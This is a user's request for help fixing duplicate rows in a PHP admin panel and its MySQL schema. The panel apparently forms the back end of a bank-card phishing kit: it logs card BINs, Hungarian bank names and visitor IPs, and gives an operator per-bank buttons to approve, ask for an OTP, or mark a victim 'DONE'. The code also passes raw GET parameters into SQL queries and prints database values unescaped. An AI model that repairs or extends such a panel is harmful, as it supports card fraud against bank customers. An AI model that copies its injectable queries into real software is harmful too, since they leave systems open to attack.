edit me this code 
when same unique ID is the same just update the previeous ID not making a new row how to do it ?
page preview : 
Unique ID	Bank	Status	Request Date	Action
643302913cea1	MAGYAR	awaiting_approve	2023-04-09 19:27:46	Approve | OTP | DONE | Deny | Delete
643302913cea1	MAGYAR	awaiting_approve	2023-04-09 19:28:46	Approve | OTP | DONE | Deny | Delete
64334518d16a5	MAGYAR	awaiting_approve	2023-04-10 00:10:23	Approve | OTP | DONE | Deny | Delete
64334518d16a5	MAGYAR	awaiting_approve	2023-04-10 00:20:32	Approve | OTP | DONE | Deny | Delete
64334518d16a5	MAGYAR	awaiting_approve	2023-04-10 00:21:55	Approve | OTP | DONE | Deny | Delete
64334518d16a5	MAGYAR	awaiting_approve	2023-04-10 00:37:16	Approve | OTP | DONE | Deny | Delete
64334518d16a5	MAGYAR	awaiting_approve	2023-04-10 00:38:11	Approve | OTP | DONE | Deny | Delete
64334518d16a5	MAGYAR	awaiting_approve	2023-04-10 00:39:45	Approve | OTP | DONE | Deny | Delete
admin.php : 
<!doctype html>
<html>

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css">
        <title>NAYFER - ADMIN PANEL</title>
    </head>

    <body>
       <table>
      <thead>
      </thead>
        </div>
        <?php
        session_start();
include 'config.php';
$conn = mysqli_connect($host, $user, $pass, $dbname);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
if (isset($_GET['action'])) {
    $action = $_GET['action'];
    $unique_id = $_GET['unique_id'];

    if ($action == 'approve') {
        // Update the status of the request to "approved"
        $update_query = "UPDATE requests SET status = 'approved' WHERE unique_id = '$unique_id'";
        if (mysqli_query($conn, $update_query)) {
            header('Location: admin.php');
        } else {
            echo "Error updating request status: " . mysqli_error($conn);
        }
    } else if ($action == 'otp') {
        $update_query = "UPDATE requests SET status = 'OTP' WHERE unique_id = '$unique_id'";
        if (mysqli_query($conn, $update_query)) {
            header('Location: admin.php');
        } else {
            echo "Error updating request status: " . mysqli_error($conn);
        }
    } else if ($action == 'done') {
        $update_query = "UPDATE requests SET status = 'DONE' WHERE unique_id = '$unique_id'";
        if (mysqli_query($conn, $update_query)) {
            header('Location: admin.php');
        } else {
            echo "Error updating request status: " . mysqli_error($conn);
        }
    } else if ($action == 'decline') {
        $update_query = "UPDATE requests SET status = 'DENY' WHERE unique_id = '$unique_id'";
        if (mysqli_query($conn, $update_query)) {
            header('Location: admin.php');
        } else {
            echo "Error updating request status: " . mysqli_error($conn);
        }
    } else if ($action == 'delete') {
        $delete_query = "DELETE FROM requests WHERE unique_id = '$unique_id'";
        if (mysqli_query($conn, $delete_query)) {
            header('Location: admin.php');
        } else {
            echo "Error deleting request: " . mysqli_error($conn);
        }
    }
}
$select_query = "SELECT requests.unique_id, requests.bin, requests.bank, requests.status, requests.request_date FROM requests";
$result = mysqli_query($conn, $select_query);
if (mysqli_num_rows($result) > 0) {
    // Display a table of all requests
    echo "<div class='container-fluid'><table class='table table-striped table-sm table-borderless'>";
    echo "<tr><th>Unique ID</th><th>Bank</th><th>Status</th><th>Request Date</th><th>Action</th></tr>";
    while ($row = mysqli_fetch_assoc($result)) {
        echo "<tr><td>" . $row['unique_id'] . "</td><td>" . $row['bank'] . "</td><td width='200' class='status-".$row['status']."'>" . $row['status'] . "</td><td>" . $row['request_date'] . "</td><td>";
        if ($row['status'] == 'awaiting_approval') {
            // If the request is awaiting approval, display buttons to approve or reject the request
                echo '<a href="admin.php?action=approve&unique_id=' . $row['unique_id'] . '">Approve</a> | <a href="admin.php?action=otp&unique_id=' . $row['unique_id'] . '">OTP</a> | <a href="admin.php?action=done&unique_id=' . $row['unique_id'] . '">DONE</a> | <a href="admin.php?action=decline&unique_id=' . $row['unique_id'] . '">Deny</a> | <a href="admin.php?action=delete&unique_id=' . $row['unique_id'] . '" style="color:red">Delete</a>';
        }
        if (in_array($row['bank'], array('RAIFFEISEN','UNICREDIT','ERSTE','CIB' , 'CENTRAL-EUROPEAN'))) {
                echo '<a href="admin.php?action=approve&unique_id=' . $row['unique_id'] . '">Approve</a> | <a href="admin.php?action=done&unique_id=' . $row['unique_id'] . '">DONE</a> | <a href="admin.php?action=decline&unique_id=' . $row['unique_id'] . '">Deny</a> | <a href="admin.php?action=delete&unique_id=' . $row['unique_id'] . '" style="color:red" >Delete</a>';
            } else {
            echo '<a href="admin.php?action=approve&unique_id=' . $row['unique_id'] . '">Approve</a> | <a href="admin.php?action=otp&unique_id=' . $row['unique_id'] . '">OTP</a> | <a href="admin.php?action=done&unique_id=' . $row['unique_id'] . '">DONE</a> | <a href="admin.php?action=decline&unique_id=' . $row['unique_id'] . '">Deny</a> | <a href="admin.php?action=delete&unique_id=' . $row['unique_id'] . '"" style="color:red">Delete</a>';
        }
        echo "</td></tr>";
    }
    echo "</table>";
}
 else {
    echo "No requests found.";
}

mysqli_close($conn);
?>
<style type="text/css">
    .status-approved {
    background-color: yellow;
}

.status-decline {
    background-color: red;
}
.status-otp {
    background-color: yellow;
}
.status-done {
    background-color: green;
}
.status-awaiting_approval {
    background-color: yellow;
}
table {
  margin: 0 auto;
  text-align: center;
}

</style>

mysql : 
CREATE TABLE requests (
    unique_id VARCHAR(50) NOT NULL,
    bin VARCHAR(6) NOT NULL,
    bank VARCHAR(50) NOT NULL,
    request_date DATETIME NOT NULL,
    status ENUM('awaiting_approve', 'approved', 'otp', 'done', 'decline') NOT NULL,
    ip VARCHAR(45) NOT NULL,
    UNIQUE KEY (request_date)
);